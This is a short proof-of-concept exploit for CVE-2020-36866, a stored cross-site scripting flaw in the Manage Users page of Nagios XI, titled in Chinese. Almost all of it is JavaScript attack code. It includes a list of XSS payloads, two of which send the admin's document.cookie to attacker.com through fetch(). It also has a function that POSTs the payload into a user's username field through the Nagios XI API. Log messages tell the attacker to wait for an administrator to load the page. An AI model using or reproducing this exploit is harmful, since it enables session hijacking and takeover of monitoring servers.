CVE-2020-36866: Nagios XI 5.7.3之前版本Manage Users页面存储型XSS漏洞

// CVE-2020-36866 PoC - Nagios XI XSS via Manage Users // This PoC demonstrates the stored XSS vulnerability in Nagios XI Admin interface // Prerequisites: // 1. Valid low-privilege user account on Nagios XI // 2. Access to Admin -> Manage Users section // Step 1: Inject malicious JavaScript payload in user profile field // Payload can be injected in username, alias, or other profile fields // Example Payloads: const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch(\'https://attacker.com/steal?c=\'+btoa(document.cookie))>', '<iframe src="javascript:document.body.innerHTML=\'<img src=x>\'">' ]; // Step 2: Send the malicious request via API or web interface async function exploitNagiosXI(targetUrl, sessionCookie, payload) { const userId = 1001; // Target user ID to modify const exploitData = { // Inject payload in username or alias field 'username': payload, 'alias': 'Malicious User', 'email': '[email protected]', 'authorized_contact_group': [1] }; const response = await fetch(`${targetUrl}/nagiosxi/api/v1/objects/user/${userId}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': `nagiosxi=${sessionCookie}` }, body: JSON.stringify(exploitData) }); return response.json(); } // Step 3: When admin visits Manage Users page, XSS will execute console.log('[+] Payload injected successfully'); console.log('[+] Wait for admin to visit Manage Users page'); console.log('[+] Cookie will be sent to attacker controlled endpoint');